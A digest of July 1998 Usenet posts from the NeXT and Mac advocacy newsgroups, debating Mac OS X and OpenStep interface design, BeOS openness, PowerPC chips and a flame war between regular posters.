something to do with COM and the OS checking a "header" or "attribute" of
the file "object" when it is double-clicked - sorry I can't tell you more
but I just don't know enough about it. To me it sounds like the best way of
identifying filetypes, and much like what you are proposing.
>
>Ryan Tokarek
><tokarek@uiuc.edu>
><http://www.ews.uiuc.edu/~tokarek>
>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: 28 Jul 1998 02:11:54 GMT
Organization: none
Message-ID: <6pjc1a$9c7$4@server.signat.org>
References: <6pior2$7s4@newsb.netnews.att.com>
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Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6pior2$7s4@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
wrote:
> Not a tremendous speed-bump, but the power consumption reduction
> should be very nice for laptops.
I'm curious about the process though, as it was noted to be a .29m process
and not a .25 one. This struck me as odd, as I was under the impression
everyone (in the PPC camp that is) is at .25 and moving to .18. Apparenly I
was wrong. Do you have a better roadmap for this?
Maury
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 00:10:42 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2807980010430001@sdn-ar-001casbarp023.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2407981630080001@wil51.dol.net> <35BB8E53.DC3C13C4@nstar.net> <6pgos1$1v1@newsb.netnews.att.com> <gmgraves-2707981005120001@sf-usr1-17-145.dialup.slip.net> <macghod-2707981155400001@sdn-ar-001casbarp306.dialsprint.net> <gmgraves-2707982348400001@sf-usr1-6-134.dialup.slip.net>
In article <gmgraves-2707982348400001@sf-usr1-6-134.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>
> I don't think they thought about it too much. In a meeting, Spindler said:
> "Gateway wants a licence, let's discuss it." and Buckley and Forsythe said
> "No way Jose." And that was it.
I am just curious, anyone know where these two Einsteins work now?
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 00:08:34 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2807980008340001@sdn-ar-001casbarp023.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com> <macghod-2707982216010001@sdn-ar-002casbarp043.dialsprint.net> <6pjr2s$qsd$1@lwnws01.ne.highway1.com>
In article <6pjr2s$qsd$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Joe made me mad because it wasn't the first time he mischaracterized what I
> said. Joe might simply make me mad if and when he implies I'm an idiot, or
> I'm some other deragotory thing.
Yeah, Joe does that to me all the time :P Like someone will say how spec
doesnt correspond to reality at all, I will then tell them to compare that
to bytemark, which says a g3 266 is twice as fast as a p2 300, and then
Joe will say "oh, are you to stupid to know the difference between up to
and on average". I mean please, yes, apple said up to, but they used
bytemark which does say on average its twice as fast, thats what a
benchmark is for right?
So today a Next person said I look like a idiot for obsessing on Joe, so I
just killfiled Joe. Nothing against the guy personally, but if I see his
posts.....
Nothing personal Joe, I just dont want to seem like to big a idiot :P
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Q: OOE - Compound Document Standard
Date: 28 Jul 1998 07:41:05 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6pjvah$e77$1@supernews.com>
References: <mscu1.66997$E5.9893250@proxye1.san.rr.com> <6pbupa$avt$1@news.xmission.com>
<6pd50d$p78@newsb.netnews.att.com> <6pde7b$avt$2@news.xmission.com>
<6peho8$4fa$1@supernews.com> <6pide4$kl2$1@news.xmission.com>
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Cc: don@misckit.com
Don Yacktman may or may not have said:
-> jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
-> > Don Yacktman may or may not have said:
-> > -> I still find it astonishing to note how much MS's API's resemble Rube
-> > -> Goldberg devices.
-> >
-> > That's not quite fair... At least Rube Goldberg's work was fun to read.
->
-> True. I certainly don't intend to disparage Mr. Goldberg's work! :-)
Of course, it helps that Rube didn't expect anyone to take him seriously.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: View from the trenches: Multi-users
Date: 27 Jul 1998 22:14:05 GMT
Organization: Cygnus Solutions
Message-ID: <6piu3d$ha6$1@cronkite.cygnus.com>
References: <35bbc451.0@news.depaul.edu> <1998072701033400.VAA23503@ladder01.news.aol.com>
<6pirnq$os9$1@news.spacelab.net>
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Cc: chuck@codefab.com
In <6pirnq$os9$1@news.spacelab.net> "Charles W. Swiger" wrote:
> willadams@aol.com (WillAdams) wrote:
> >> If you have a system where users can add hardware and the drivers for
it,
> >> it will be possible to create viruses for it.
> >
> >How many viruses are there which affect Linux systems?
>
> How many viruses are there which affect SunOS/Solaris systems? That's the
> most common Unix system around, and I can't think of a single virus for it
> (worms & trojan horses do exist, as Morris proved, however).
>
I can think of one virus (well, virus family) that hits all unix systems (as
well as every other internet platform). The Goodtimes email meme virus, and
its family of email/meme viri.
(I know, I'm going to get a TON of flames from all of those people who only
half-grok Goodtimes, saying "it's a hoax!"... before you send your flame, I
think you should re-analyze the Goodtimes message, and the behaviors of its
readers. The Goodtimes warning is a meme virus, which means that rather than
using your CPU cycles to infect your disk space and propogate itself around
your files and the files of your firends, it uses your BRAIN to infect your
disk space (if you save it, esp if you save it each time you recieve it) and
to propogate itself (if you pass the warning on to other people). Don't
trivialize the actual process that Goodtimes exploits :-} )
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 17:19:37 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707981719370001@sdn-ar-001casbarp019.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com>
In article <6pie2b$9kh$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> It's similar to an old tort law self defense case. This knight in england
> was walking down the street and someone told him "your mother sucks beans" or
> somesuch other nonsense. The knight responded "if it were the hour of
> something or other, I would kill you." It wasn't that hour, so it was not a
> threat. Furthermore, if you tell someone, "if you hit me, I'll be forced to
> defend myself and beat the hell out of you" you are not making any threat.
> You are informing the person of your rights. There's a lot of case law on
> this. And you're wrong in your understanding about the topic.
Actually, I heard about a case in Chico California that disturbed me greatly.
A person (who admittedly was not mentally competent) was getting very
frustrated by some governmental employee, I think at the DMV. He told the
lady "IF this were 2000 years ago, God would smite you for how you are
acting".
The DMV (IIRC) had the guy arrested for threatening a public official,
his PD didnt even try to fight it even tho it was obviously a focked up
charge and pleaded it down to him getting some sort of mental help. I
know I didnt get the facts exactly correct, but it was a conditional
statement that god would do something to her if it was a long time ago
(maybe he said old testament times), I think it was about 1995 or 1996.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35bd8b31.0@nnrp1.news.uk.psi.net>
Date: 28 Jul 98 08:26:25 GMT
Michael Peck <mjpeck@nstar.net> wrote:
>Richard Frith-Macdonald wrote:
>
>> Yeah - but that's just saying 'if I break something it doesn't work'.
>> The NeXT way would work fine for a horizontal menu bar that had consistent
>> indicators for when a menu item generates a sub-menu.
>>
>> The problem is the inconsistency in the old MacOS menu system - and is easily
>> solved by adding the appropriate indicators to the menu bar.
>
>I don't understand, though. This is only necessary if you assume that
>top-level menus can be buttons instead of menus, isn't that right? The
>MacOS menu bar assumes that every menu is actually a *menu*. I don't see
>the inconsistency, but I could be totally misunderstanding your point.
Ah - sorry - I wasn't too clear there -
I consider the menu-bar part of the menu system (ie it's a menu itsself).
It's already inconsistent with the other menus in that it's horizontal while
the other menus are vertical, it's also inconsistent in that it assumes that
everything in it is a sub-menu, while submenus make no such assumption.
In fact, the menu-bar is so very inconsistent with the rest of the menu system
that my meaning wasn't clear - presumably you don't consider it a menu?
The NeXT menu system was almost entirely consistent, and there have been examples
posted in this group )and this very thread) of how the same level of consistency
could be achieved with a menu system where you have a (user configured) choice of
horizontal or vertical layout. I'd like to see Apple adopt something like one of
these systems as it would simplify the UI (making it easier for new users to get
to grips with) without losing any of its power.
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ever
Date: Tue, 28 Jul 1998 10:39:17 +0200
Organization: Completely Disorganized
Message-ID: <1dcvg8i.d9nmer10pi7cmN@rhrz-isdn3-p2.rhrz.uni-bonn.de>
References: <6pj8p5$4c7$1@nnrp1.dejanews.com>
Mail-Copies-To: never
<quinlan@my-dejanews.com> wrote:
> Have you ever quit an application because you didn't plan on using it anymore
> rather than because you needed the memory? I do that all the time on Windows
> 95, the MacOS and OS because I find that really long lists of running
> applications make it harder for me to pick the one that I want. That, to me,
> indicates poor user interface design. Can anyone think of a solution?
OpenDoc. There you don't care about applications, only about documents.
Only what you're working on is visible.
I take it that the main reason for keeping an app running is to have it
available almost instantly, without any startup time. Very reasonable --
but you shouldn't have to care for it yourself! IIRC, for OpenDoc there
where plans to have the OS "cache" often used editors.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.be.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 28 Jul 1998 05:24:53 GMT
Message-ID: <6pjnb5$4qj$1@nntp2.ba.best.com>
References: <B1E200E6-9894@128.138.177.193>
In-Reply-To: <B1E200E6-9894@128.138.177.193>
On 07/27/98, "Jay Riley" wrote:
>
>If you count the class library, yes that is proprietary. But as far as
>I can tell, almost anything that compiles on a POSIX system (or a GNU
>or Linux system) will on BeOS as well.
That doesn't make BeOS more 'open'. I can compile POSIX stuff on
Rhapsody as well. In fact, if I had to guess, I bet that Rhapsody DR2
has better POSIX support that BeOS, but that's just speculation.
>>From what I've seen so far it looks to draw a lot from GNU.
Well, maybe the BeOS shell does (I think it's a bash port). What else
did you have in mind?
>>The drawing model for NeXTSTEP/OpenStep is Display PostScript. BeOS
>>has it's own proprietary imaging model.
>
>Postscript is a proprietary Adobe technology. Actually it was one of
>the things I was thinking of when I refered to Rhapsody being more
>proprietary.
>Be's imaging model looks like QuickDraw brought into the 90's. And as
>I understand it you can use OpenGL as well.
Oh, and QuickDraw is an open standard? How many output devices in the
world speak QuickDraw directly, let alone Be's imaging model? I can
think of quite a few devices that speak PostScript. Now why is
PostScript more proprietary than Be's sorta QuickDraw clone?
>If BeOS is so proprietary why are Amiga-philes and
>GNU/Linux/open-standards buffs so drawn to it? I think you'd be
>surprised at the amount of openstandards stuff that's making its way
>over to BeOS, AND at the number of familiar MacOS names coding for
>that platform.
Dunno, I'm an ex-Amiga buff (and even C= employee for that matter), and
I *was* drawn to it, until I found that they were stuck with C++ and
that their AppKit was a bad clone of NeXTSTEP's AppKit, only not as
good (IMNSHO).
>Please don't take offence but it's ludicrous to call NeXTSTEP "open".
>It uses a lot of recognized standards, but all in all I believe Be
>edges it out on openness.
I can think of _one_ major open standard that BeOS uses: OpenGL.
Nearly everything else that's not BeOS specific seems to be something
derived from one other single platform, like MacOS (PEF), Windows (PE),
etc.
>Hmmm...haven't studied the issue in great depth, but was under the
>impression that the PEF format was pretty standard for PowerPC. What
>did the POWER RS/6000's use?
As far as I know, PEF is/was a MacOS only thing until Be started using
it. I have no idea what executable format the RS/6000's used, perhaps
ELF or XCOFF. (Anyone know for sure?)
>Actually many of the tools shipped with BeOS were compiled using the
>GNU compiler. True, the GeekGadgets version requires the Metrowerks
>linker, but that's a matter of someone creating/porting a linker.
I would actually be suprised if that was the case, given that most of
those tools probably predate the GeekGadgets GCC port. And no one
will be creating/porting a linker until Apple releases PEF
documentation to the public, if ever.
>>If you want to argue that using Objective C is doing things in a
>>proprietary way, I suppose you could do that. However, IMHO it's no
>>more proprietary than being stuck with a single compiler vendor as
>>BeOS is.
>Again we're NOT "stuck with a single compiler vendor" if we have GCC.
You are for anything but simple command line applications. If that's
all you want to run, you could argue that Linux may be a better choice.
At least there you have the source to _everything_. It doesn't get
much more "open" than that.
>Arguably it would be nice if we had more devtool choices, but
>personally I think CodeWarrior IDE is insanely great. And since it's
>only $129 from Be I'm not complaining just yet.
Dunno. I have never been particularly impressed with the code
generation from the Metroworks compiler, especially for x86 code.
Their C++ support is probably much better than GCC's, however.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: M_PRODUCER@nospamYahoo.com (M_PRODUCER)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 98 08:44:04 GMT
Message-ID: <6pk34k$9gu$1@nntp2.ba.best.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net>
In article <joe.ragosta-2707981311490001@wil76.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <35BCA708.7440433@intel.com>, Vareck Bostrom
><vareck.bostrom@intel.com> wrote:
>
>> Can you continue to use TCP/IP on your LAN after you're connected via SLIP?
>
>I'm not sure--I've never used SLIP. But I'll assume that it's similar to PPP.
>
>If that's a fair analogy, the answer for Mac OS 8.1 is yes. (I can't
>remember when this functionality was introduced).
>
>As evidence, I can connect to the Internet either via PPP or Ethernet
>(TCP/IP on our network). Our e-mail is also on the TCP/IP network.
>
>I can be downloading files via PPP while checking e-mail on TCP/IP. So
>they work together.
>
Care to cite how I can do this on my mac?
I've been waiting for this feature for over 5 years.
-
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
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<mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
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<joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com>
<6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net>
<6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news>
<6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net>
<22Vu1.7668$7k7.10422726@news.rdc1.sdca.home.com> <6pjb03$1jb@news1.panix.com>
Message-ID: <dodv1.8233$7k7.11055663@news.rdc1.sdca.home.com>
Date: Tue, 28 Jul 1998 05:32:57 GMT
NNTP-Posting-Date: Mon, 27 Jul 1998 22:32:57 PDT
Organization: @Home Network
In <6pjb03$1jb@news1.panix.com> Sal Denaro wrote:
> On Mon, 27 Jul 1998 06:23:58 GMT, rr6013@yahoo.com <rr6013@yahoo.com>
wrote:
> >I'll be surprised if Apple can "fix" the Mac UI to "satisfy" ex-NeXT
> >tag-a-longs like John and myself. Ten years experience is hard to unlearn
> >for a "Back to the Future" Macintosh environment.
>
> If you take DR2, add fiend (you can get it from Stepwise), miniwindows and
> rip the menu of the top, you get a much more OpenStep like system. John
> might dislike the pinstripes, and color choices (to each his own) but I
> doubt they will be unchangable for long.
>
>
>
Tried Fiend - didn't like it the behavior. DR2 either works for you or it
doesn't. It's not in anyone's interest to go out there, try and make it into
something it's not. It's not "to each his own"... its a unsupported deadend
suggestion.
In complete fairness to Apple, I'll wait until they release CR1 to the buying
public. That'll be the time to decide whether what they're doing, works.
I've heard alot but seen nothing. I don't like what I've heard but then I
haven't tried it. So maybe I won't miss a Terminal.app. I'll just have to
wait and see.
Am I skeptical? Some... the NeXT UI was optimized for multi-tasking in a way
that the Macintosh UI was never conceived. Macintosh users can't appreciate
any of it since they haven't experienced Rhapsody-style multi-tasking.
Further, probably guessing only 20% have high productivity requirements to
stress the multi-tasking UI.
You cannot appreciate a UI until after experiencing its strengths and
weaknesses. I'll give CR1 a try, which is more than Macintosh community gave
Rhapsody. If it doesn't get in my way, or chew-up braincycles managing I'll
look forward to MacOS X.
MacOS X is a whole 'nother hardware set of question when the time come...
-r
Rex Riley
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Q: OOE - Compound Document Standard
Date: 28 Jul 1998 09:07:25 GMT
Organization: MiscKit Development
Message-ID: <6pk4cd$1jk$1@news.xmission.com>
References: <mscu1.66997$E5.9893250@proxye1.san.rr.com> <6pbupa$avt$1@news.xmission.com> <6pd50d$p78@newsb.netnews.att.com> <6pde7b$avt$2@news.xmission.com> <6peho8$4fa$1@supernews.com> <6pide4$kl2$1@news.xmission.com> <6pjvah$e77$1@supernews.com>
NNTP-Posting-Date: 28 Jul 1998 09:07:25 GMT
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> Don Yacktman may or may not have said:
> -> True. I certainly don't intend to disparage Mr. Goldberg's work! :-)
> Of course, it helps that Rube didn't expect anyone to take him seriously.
Yes, but contraptions like what he envisioned sure have found a niche for
themselves in modern culture! Whether it be a classic Tom&Jerry cartoon with
a "better" mouse trap, or a game like "The Incredible Machine" or "Marble
Drop", or a Microsoft product, they all seem to have found their place...for
better, for better, or for worse... :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 22:15:55 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707982216010001@sdn-ar-002casbarp043.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com>
In article <6pjgmr$m6i$3@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> don.brown@cesoft.com (Donald Brown) wrote:
> > You made a mistake. He acted like a jerk. You both are treating the
> > other's misdeeds as capital offenses. Lighten up, dudes!
>
> Jeez this is weird. He mischaracterized what I said, and I'm a jerk for
> being upset. Interesting. His mistake, in and of itself is no big deal.
> But it's not the first time he's done so. And I certainly was getting overly
> annoyed by it; to the point I was serious enough to walk down to the
> courthouse and file the documents.
Ok, so let me get this straight...
1) joe made you mad.
2) joe made you really mad
3) Joe made you really really mad and you were about to go to the
courthouse and file papers.
Now, I am wondering why the above occured, as compared to :
1) joe Made you mad
2) Joe made you realy mad, so you put him in your killfile
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ever
MIME-Version: 1.0
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References: <6pj8p5$4c7$1@nnrp1.dejanews.com>
Message-ID: <5Edv1.8245$7k7.11060908@news.rdc1.sdca.home.com>
Date: Tue, 28 Jul 1998 05:49:53 GMT
NNTP-Posting-Date: Mon, 27 Jul 1998 22:49:53 PDT
Organization: @Home Network
In <6pj8p5$4c7$1@nnrp1.dejanews.com> quinlan@my-dejanews.com wrote:
> Have you ever quit an application because you didn't plan on using it
anymore
> rather than because you needed the memory? I do that all the time on
Windows
> 95, the MacOS and OS because I find that really long lists of running
> applications make it harder for me to pick the one that I want. That, to
me,
> indicates poor user interface design. Can anyone think of a solution?
>
>
Mac menus drive me crazy picking but I can't find a "picking" interface in
OS. How many apps are your running? You'll never overloaded an OPENSTEP UI.
Running apps hide away clearing screen real estate. What's to pick in OS?
Hidden apps are just there - click a .app tile and 'voila', all the windows
pop-up again. Best solution I've seen.
-r
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Getting along WAS: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 22:58:38 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-2707982258380001@ip-167-029.phx.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <35BCC8AE.81F49DF0@starvision.com> <not-2707981346370001@ip-26-031.phx.primenet.com> <6piuqj$l9d$2@lwnws01.ne.highway1.com>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6piuqj$l9d$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Please correct me if I have it wrong, and I may well. I don't have any of my
> old OOP texts here so I may well remember it wrong. But in the OO
> programming sense, the word orthogonal talks about allowing one to use and
> manipulate a variety of objects in a variety of manners but by doing so by
> the mere manipulation of a general principle. So, for example, one could
> setFloatValue to a text field, and to a scroller bar. The principle of
> setting a float value might be applied orthogonally to many different cases.
> If I got it wrong, I'd appreciate someone correcting my missunderstanding or
> dim memory.
You responded twice to the same post? If anything, you are certainly throrough.
The use of "othoganal" I was ribbing you for (and it _was_ a joke!) was
not in a computer science or programming context; it was in a previous
discussion in which someone equated Apple's abandonment of pre-G3 machines
with OS X to a human rights violation. You broke in suggesting a third,
right-angled viewpoint, and did a nice job, but I just thought
"orthoganal" used in that context was a little excessive. Just trying to
have a little fun with a too-serious thread.
> As for finding competent jurors or judges, they are not as rare as you make
> them out to be; at least not when you know where to look.
That may be--but undereductated juries were the death of many a recent
well-publicized case, from the Symington trial here in Arizona to (dare I
mention it) the trial of some Simpson guy a few years back.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
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<6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net>
<6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net>
<6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net>
<6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net>
<6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net>
<6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net>
<35BC9473.A18302A8@nstar.net> <joe.ragosta-2707981114320001@wil47.dol.net>
Message-ID: <1Tdv1.8362$7k7.11060908@news.rdc1.sdca.home.com>
Date: Tue, 28 Jul 1998 06:05:49 GMT
NNTP-Posting-Date: Mon, 27 Jul 1998 23:05:49 PDT
Organization: @Home Network
In <joe.ragosta-2707981114320001@wil47.dol.net> Joe Ragosta wrote:
> In article <35BC9473.A18302A8@nstar.net>, Michael Peck <mjpeck@nstar.net>
wrote:
> 5 minutes to load 20 apps? Seems like a long time.
>
> But you can't make a direct comparison between Mac OS and Unix in this
> way. On the Mac, it's easy to be very productive with a smaller number of
> apps. Instead of 20 specialized apps, you use a smaller number of more
> versatile apps.
>
> But, if you insist, put an alias to the most commonly used apps into your
> startup folder. Then, set your Mac to start up 20 minutes before you come
> to work.
>
>
Are you for real? I'm just sure... what do you take the consuming public
for? A pack of drones? What an oxymoronic solution! Mac's require more
time to do the same work ± so alot more time. Yeah, right solution, there.
-r
Rex Riley
rr6013@yahoo.com
619 523 3300
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 98 04:00:49 -0600
Organization: ICGNetcom
